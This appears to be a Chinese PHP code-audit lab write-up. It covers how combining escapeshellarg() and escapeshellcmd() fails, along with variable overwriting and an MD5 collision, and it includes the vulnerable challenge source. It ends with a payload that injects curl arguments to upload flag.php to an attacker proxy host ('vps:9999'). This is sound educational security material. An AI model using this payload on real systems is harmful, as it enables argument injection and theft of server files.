PHP-Audit-Labs-day5

escapeshellarg()与escapeshellcmd()使用不当

函数说明:

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

说明:

escapeshellarg ( string $arg ) : string

参数:

arg:需要被转码的参数。

返回值:

转换之后字符串。

escapeshellcmd — shell 元字符转义

说明:

escapeshellcmd ( string $command ) : string

参数:

command:要转义的命令。

返回值:

转换之后字符串。

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义

在同时使用两个函数时,仍可能绕过过滤,原因是escapeshellarg()先对单引号转义,再用单引号将左右两部分括起来,如“1234'5678”,转义结果就是“'1234'\''5678'”,可以注意到这里的单引号个数为5,并不是完全配对的,如果再调用escapeshellcmd()函数,就会对反斜杠和最后一个不配对的引号进行转义,即“‘1234'\\''5678\'”,此时字符串后半部分就可当参数进行注入

题目源码:

//index.php
<?php
highlight_file('index.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['hongri']){
        exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        $url = $_GET['url'];
        $urlInfo = parse_url($url);
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        system("curl ".$url);
    }
}
?>
// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>

源码分析:

14行正常是将上传的参数unset过滤掉,但是会产生一个变量覆盖,可以绕过unset。23-24行将对象注册成变量,变量名是数组的键,值是数组的值

35-36行对url进行过滤,但是这种使用方式仍然可以绕过

利用方法:

1.变量覆盖:

变量覆盖漏洞是在对可变变量使用不当时产生的。可变变量指的是:一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为其变量名。所以,当这个普通变量的值是已经存在的变量名时,再对其赋值,就会产生变量覆盖。

2.extract()函数:

extract — 从数组中将变量导入到当前的符号表

说明:

extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int

参数:

array:一个关联数组。此函数会将键名当作变量名,值作为变量的值。 对每个键/值对都会在当前的符号表中建立变量,并受到 flags 和 prefix 参数的影响。

必须使用关联数组,数字索引的数组将不会产生结果,除非用了 EXTR_PREFIX_ALL 或者 EXTR_PREFIX_INVALID。

flags:对待非法/数字和冲突的键名的方法将根据取出标记 flags 参数决定。可以是以下值之一:

EXTR_OVERWRITE:如果有冲突,覆盖已有的变量。
EXTR_SKIP:如果有冲突,不覆盖已有的变量。
EXTR_PREFIX_SAME:如果有冲突,在变量名前加上前缀 prefix。
EXTR_PREFIX_ALL:给所有变量名加上前缀 prefix。
EXTR_PREFIX_INVALID:仅在非法/数字的变量名前加上前缀 prefix。
EXTR_IF_EXISTS:仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 举个例子,以下情况非常有用:定义一些有效变量,然后从 $_REQUEST 中仅导入这些已定义的变量。
EXTR_PREFIX_IF_EXISTS:仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
EXTR_REFS:将变量作为引用提取。这有力地表明了导入的变量仍然引用了 array 参数的值。可以单独使用这个标志或者在 flags 中用 OR 与其它任何标志结合使用。

如果没有指定 flags,则被假定为 EXTR_OVERWRITE。

prefix:注意 prefix 仅在 flags 的值是 EXTR_PREFIX_SAME,EXTR_PREFIX_ALL,EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS 时需要。 如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。前缀和数组键名之间会自动加上一个下划线。

返回值:

返回成功导入到符号表中的变量数目。

3.curl:

在 curl 中存在 -F 提交表单的方法,也可以提交文件。 -F <key=value> 向服务器POST表单,例如: curl -F "web=@index.html;type=text/html" url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。

payload:

_GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 (来自l1nk3r师傅)

拓展内容:

[红日安全]代码审计Day5 - escapeshellarg与escapeshellcmd使用不当:https://xz.aliyun.com/t/2501

PHP escapeshellarg()+escapeshellcmd() 之殇:https://paper.seebug.org/164/

curl 的用法指南:http://www.ruanyifeng.com/blog/2019/09/curl-reference.html

上一篇:


下一篇:Python自实现DBSCAN聚类算法,支持多维数组,距离用欧式距离。